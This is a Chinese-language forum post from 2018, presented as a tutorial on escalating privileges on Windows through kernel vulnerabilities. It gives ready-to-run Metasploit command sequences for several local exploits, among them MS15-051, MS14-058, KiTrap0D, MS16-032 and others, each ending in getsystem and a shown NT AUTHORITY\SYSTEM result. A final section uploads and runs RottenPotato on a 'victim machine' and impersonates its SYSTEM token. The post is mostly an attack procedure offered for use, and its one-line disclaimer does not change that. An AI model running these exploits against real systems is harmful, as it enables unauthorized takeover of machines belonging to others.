資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 2234|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] Windows內(nèi)核漏洞利用提權(quán)教程

[復(fù)制鏈接]

715

主題

1223

帖子

1

精華

終身高級VIP會員

Rank: 7Rank: 7Rank: 7

資源幣
11472
積分
4971
貢獻(xiàn)
0
在線時間
2065 小時
注冊時間
2015-4-20
最后登錄
2024-7-9

終身VIP會員

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2018-10-4 20:20:24 | 只看該作者 回帖獎勵 |倒序?yàn)g覽 |閱讀模式
Windows內(nèi)核漏洞利用提權(quán)教程

PS. 本文僅限于技術(shù)討論,嚴(yán)禁用于其他用途。

繼上一篇“使用自動化腳本進(jìn)行Windows提權(quán)”,本文將介紹有關(guān)Windows內(nèi)核漏洞提權(quán)的方法。我將使用內(nèi)置的Metasploit模塊作為演示。通過本文的學(xué)習(xí),你將了解系統(tǒng)的哪些部分可被利用,并匹配最佳可利用模塊進(jìn)一步的提升權(quán)限。

Windows-Exploit-suggester

Metasploit內(nèi)置模塊提供了各種可用于提權(quán)的local exploits,并會基于架構(gòu),平臺(即運(yùn)行的操作系統(tǒng)),會話類型和所需默認(rèn)選項(xiàng)提供建議。這極大的節(jié)省了我們的時間,省去了我們手動搜索local exploits的麻煩。雖說如此,但也并非所有列出的local exploits都可用。所以,無論是漏洞利用還是查找最好的辦法就是自動結(jié)合手動。

用法

注:要使用local exploit suggester,我們必須已在目標(biāo)機(jī)器上獲取到了一個Meterpreter session。在運(yùn)行Local Exploit suggester之前,我們需要將現(xiàn)有的Meterpreter session調(diào)到后臺運(yùn)行(CTRL + Z)

示例,假設(shè)我們現(xiàn)在有一個Meterpreter session 1

use post/multi/recon/local_exploit_suggesterset LHOST 192.168.1.107set SESSION 1exploit

如下圖所示,它自動的為我們匹配出了一些可能的用于易受攻擊目標(biāo)提權(quán)的漏洞利用模塊。

Windows ClientCopyImage Win32k Exploit

Windows內(nèi)核模式驅(qū)動程序特權(quán)提升漏洞。此模塊利用了win32k.sys內(nèi)核模式驅(qū)動程序中的不正確對象處理進(jìn)行提權(quán)。

該模塊已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms15_051_client_copy_imageset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

Windows TrackPopupMenu Win32k NULL指針解引用

此模塊利用了win32k.sys中的NULL指針解引用,漏洞可通過TrackPopupMenu函數(shù)進(jìn)行觸發(fā)。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指針解引用,來實(shí)現(xiàn)任意代碼執(zhí)行操作。

該模塊已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms14_058_track_popup_menuset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

通過KiTrap0D提升Windows權(quán)限

此模塊將通過KiTrap0D exploit創(chuàng)建具有SYSTEM權(quán)限的新會話,如果當(dāng)前使用的會話權(quán)限已提升,則exploit將不會運(yùn)行。該模塊依賴于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。

該模塊已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻擊版本上進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms10_015_kitrap0dset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

Task Scheduler XML提權(quán)

此漏洞發(fā)生在Task Scheduler中,可允許用戶提升權(quán)限。如果攻擊者登錄到受影響的系統(tǒng),并運(yùn)行特制應(yīng)用程序,則該漏洞可能允許特權(quán)提升。攻擊者必須擁有有效的登錄憑據(jù),并且能夠在本地登錄才能成功利用此漏洞。遠(yuǎn)程或匿名用戶則無法利用此漏洞。

該模塊已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms10_092_schelevatorset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

MS16-016 mrxdav.sys WebDav本地提權(quán)

此模塊利用了mrxdav.sys中的漏洞。其將在目標(biāo)系統(tǒng)生成一個進(jìn)程,并在執(zhí)行payload之前將其權(quán)限提升到NT AUTHORITY\SYSTEM。

該模塊已在Windows 7 SP1,x86架構(gòu)的易受攻擊版本上進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms16_016_webdavset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

EPATHOBJ::pprFlattenRec本地提權(quán)

此模塊利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的數(shù)據(jù)(即允許損壞內(nèi)存)。

目前,該模塊已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功進(jìn)行了測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ppr_flatten_recset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

MS13-053 : NTUserMessageCall Win32k內(nèi)核池溢出

Win32k中的內(nèi)核池溢出漏洞,可允許本地用戶提權(quán)。內(nèi)核shellcode使winlogon.exe進(jìn)程的ACL為NULL(SYSTEM進(jìn)程)。這將允許任何非特權(quán)進(jìn)程自由遷移到winlogon.exe,從而提升用戶權(quán)限。注意:退出meterpreter會話時,可能會導(dǎo)致winlogon.exe崩潰。

目前,該模塊已在Windows 7 SP1 x86上成功測試。

讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊

use exploit/windows/local/ms13_053_ schlampereiset lhost 192.168.1.107set session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

MS16-032 Secondary Logon Handle提權(quán)

此模塊利用了Windows Secondary Logon Service中缺少標(biāo)準(zhǔn)句柄過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模塊僅適用于具有Powershell 2.0或更高版本的Windows系統(tǒng),以及具有至少兩個或以上CPU內(nèi)核的系統(tǒng)。

use exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1exploit

一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session

getsystemgetuid

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM

RottenPotato

使用RottenPotato將服務(wù)帳戶本地提權(quán)至SYSTEM。

首先,我們在meterpreter會話中使用以下選項(xiàng)查看當(dāng)前系統(tǒng)上是否存在任何有效tokens。

load incognitolist_token -u

可以看到,當(dāng)前并沒有任何token可用。

現(xiàn)在,我們從github下載Rottenpotato。

git clone https://github.com/foxglovesec/RottenPotato.gitcd RottenPotato

下載完成后我們會在Rottenpotato目錄下,看到一個rottenpotato.exe文件。

將該文件上傳至受害者機(jī)器。

upload /root/Desktop/RottenPotato/rottenpotato.exe .

然后,鍵入以下命令執(zhí)行該exe文件,并將SYSTEM token添加到impersonate user tokens下。

execute -Hc -f rottenpotato.exeimpersonate_token "NT AUTHORITY\\SYSTEM"

可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM






回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2025-4-18 16:47 , Processed in 0.051618 second(s), 13 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表